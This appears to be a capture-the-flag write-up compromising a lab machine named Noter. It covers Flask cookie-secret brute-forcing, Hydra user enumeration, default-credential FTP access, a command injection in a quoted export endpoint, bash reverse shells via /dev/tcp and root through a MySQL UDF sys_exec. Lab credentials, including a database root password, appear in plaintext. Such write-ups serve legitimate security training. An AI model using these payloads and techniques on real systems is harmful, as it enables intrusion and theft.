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Nmap scan

Let's start with a typical all ports scan and then get a more detailed scan for every open port open:

└─$ sudo nmap -p- --min-rate 1000
Starting Nmap 7.92 ( ) at 2022-05-27 05:32 EDT
Nmap scan report for
Host is up (0.055s latency).
Not shown: 65532 closed tcp ports (reset)
21/tcp   open  ftp
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 19.24 seconds
└─$ sudo nmap -p21,22,5000 -sC -sV
Starting Nmap 7.92 ( ) at 2022-05-27 05:34 EDT
Nmap scan report for
Host is up (0.051s latency).

21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
|   256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_  256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 10.59 seconds

So we have FTP, SSH and a webpage in port 5000. Since both FTP and SSH require credentials we don't have let's start with the port 5000.

Web application

Looking around

The web application let the user create notes. After testing some basic SQL injection payloads in the login form I decided to just register and start using the app to see how it works and I noticed something. After creating a note a clicking in the edit button the URL is like this:
This could suggest an IDOR vulnerability but no luck with the fuzzzing, also tried some XSS or SSTI and I got something this time.

Looks like the form is URL encoding the message sent to the server and indicating the data type: application/x-www-form-urlencoded but the server is not really checking that the data is actually URL encoded so using Burb suite it is possible to send data without encoding. Something like:


Is generating this note:

    # hello


Looks like it is translating things to Markdown? Anyway, I guess this could lead to some kind of XSS but since the cookie is HttpOnly this won't really help.

Looking at the header: Werkzeug httpd 2.0.2 (Python 3.8.10) this is probably a Flask server. Using a Flask session encoder/decoder: I was able to confirm my guess:

└─$ python3 decode -c eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicmFwdG9yIn0.YpDXsA.rmBkWKEmp_Ona9WwTNCoMNn06lo

We can try to brute force the secret key now. Searching a bit I found this tool:, let's try it out using Rockyou as wordlist:

└─$ flask-unsign --unsign --cookie "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicmFwdG9yIn0.YpDXsA.rmBkWKEmp_Ona9WwTNCoMNn06lo" --wordlist ~/Wordlists/rockyou.txt --no-literal-eval         
[*] Session decodes to: {'logged_in': True, 'username': 'raptor'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17024 attempts
This is our lucky day! We can now forge cookies using the secret key secret123 (Both of the above tools can do it). Only one thing, we don't really know about other users so I guess we need to figure that out next.

Enumerating users

After a while I found something. Looks like the login page can be used to leak usernames already registered in the page, the error message is Invalid credentials if the user does not exists and Invalid login if the user exists but the password is wrong.

Using Hydra to search for valid users I got that there is indeed another user registered in the page (I used a dummy password):

└─$ hydra -L /usr/share/wordlists/metasploit/namelist.txt -p 123 -s 5000 http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"   
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra ( starting at 2022-05-27 10:53:14
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1909 login tries (l:1909/p:1), ~120 tries per task
[DATA] attacking http-post-form://^USER^&password=^PASS^:Invalid credentials
[5000][http-post-form] host:   login: blue   password: 123
[5000][http-post-form] host:   login: raptor   password: 123
[STATUS] 1572.00 tries/min, 1572 tries in 00:01h, 337 to do in 00:01h, 16 active
1 of 1 target successfully completed, 2 valid passwords found
Hydra ( finished at 2022-05-27 10:54:27

Forging cookies

Since we found that blue is a valid user and also know the cookie secret we should be able to forge a new cookie to login as this user:

└─$ flask-unsign --sign --cookie "{'logged_in':True,'username':'blue'}" --secret 'secret123'

Replacing our session cookie for the generated one we are now logged in as blue! Looks like its a prenium user and can upload notes, this could be handy later. Also, it is possible to find another username: ftp_admin and blue credentials for the FTP server: blue:blue@Noter!. In the FTP server, I found a PDF file that explain that all the accounts password are generated following this schema: username@site_name! and that this default password should be changed.

There is a reminder about changing the admin password in blue account so maybe the default password is still in place. I tried to login to the FTP service using ftp_admin:ftp_admin@Noter! as credentials and I got access as ftp_admin! There are backups of the application so time to analyze the code.


The most recent app backup is the one that contains all the application endpoints we saw in the live app. After a while I found something interesting in the /export_note_remote endpoint:

# Export remote
@app.route('/export_note_remote', methods=['POST'])
def export_note_remote():
    if check_VIP(session['username']):
            url = request.form['url']

            status, error = parse_url(url)

            if (status is True) and (error is None):
                    r = pyrequest.get(url,allow_redirects=True)
                    rand_int = random.randint(1,10000)
                    command = f"node misc/md-to-pdf.js  $'{r.text.strip()}' {rand_int}"
          , shell=True, executable="/bin/bash")


The application, when exporting a markdown file from the cloud, is not validating the data received at all. It just build a command for Bash that run a javascript program to convert a Markdown file to a PDF.

If the Markdown file contains a payload like this:

' || ping -c 2 #
Bash will execute the ping command as you can see here:

└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
13:12:02.238973 IP > ICMP echo request, id 5, seq 1, length 64
13:12:02.239002 IP > ICMP echo reply, id 5, seq 1, length 64
13:12:03.239702 IP > ICMP echo request, id 5, seq 2, length 64
13:12:03.239718 IP > ICMP echo reply, id 5, seq 2, length 64

Changing a bit the payload we can get a reverse shell!

' || bash -i &> /dev/tcp/ 0>&1 #

└─$ nc -lnvp 8080
listening on [any] 8080 ...
connect to [] from (UNKNOWN) [] 36412
bash: cannot set terminal process group (1261): Inappropriate ioctl for device
bash: no job control in this shell

In the machine as svc

First of all we can retrieve the MySQL database credentials from the application file:

app.config['MYSQL_USER'] = 'DB_user'
app.config['MYSQL_PASSWORD'] = 'DB_password'
app.config['MYSQL_DB'] = 'app'

Also, looking into the old backup I found the credentials for the MySQL root user:

app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = 'Nildogg36'

Using any of the credentials above it is possible to get the blue user password hash:

Maybe we can try to crack it but for now, let's get the user flag under /home/svc/user.txt and create an SSH key pair to get a more stable SSH terminal.

Getting root

To be honest I spent more time than I'm willing to admit here. First of all, cheking for the user running the MySQL server we can see it is actually root:

svc@noter:~$ cat mysql_service  mysql.service - LSB: Start and stop the mysql database server daemon
     Loaded: loaded (/etc/init.d/mysql; generated)
     Active: active (running) since Thu 2022-05-26 11:36:32 UTC; 1 day 8h ago
       Docs: man:systemd-sysv-generator(8)
    Process: 950 ExecStart=/etc/init.d/mysql start (code=exited, status=0/SUCCESS)
      Tasks: 56 (limit: 4617)
     Memory: 270.3M
     CGroup: /system.slice/mysql.service
             ├─1058 /bin/sh /usr/bin/mysqld_safe
             ├─1178 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/x86_64-linux-gnu/mariadb19/plugin --user=root --skip-log-error --pid-file=/run/mysqld/ --socket=/var/run/mysqld/mysqld.sock
             └─1179 logger -t mysqld -p daemon error

Since we can have the credentials for the MySQL root user we can try to scale using a malicious library. We can use lib_mysqludf_sys from Metasploit, in Kali is located here:

# The target system is a 64 bits one

Using Netcat or a simple HTTP server I moved the library to /home/svc in the target machine and now we can start with the trick. Login to MySQL using the root user with the credentials found earlier and then we can load the library and get a reverse shell as root:

MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mysql]> create table npn(line blob);
Query OK, 0 rows affected (0.005 sec)

# Change PATH if necessary here
MariaDB [mysql]> insert into npn values(load_file('/home/svc/'));
Query OK, 1 row affected (0.002 sec)

MariaDB [mysql]> select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/';
Query OK, 1 row affected (0.001 sec)

MariaDB [mysql]> create function sys_exec returns integer soname '';
Query OK, 0 rows affected (0.001 sec)

# Before executing this command make sure you have Netcat listenner ready!
# Also change this according to your listener IP and port
MariaDB [mysql]> select sys_exec('bash -c "bash -i >& /dev/tcp/ 0>&1"');

After all that a root reverse shell arrive to the listener and we can get the final flag under /root/root.txt:

└─$ nc -lnvp 8080
listening on [any] 8080 ...
connect to [] from (UNKNOWN) [] 38376
bash: cannot set terminal process group (950): Inappropriate ioctl for device
bash: no job control in this shell

If you are having problems getting the library to load, make sure you execute all the commands fast. There is a script in place that reset all changes to the MySQL service and can troll a bit.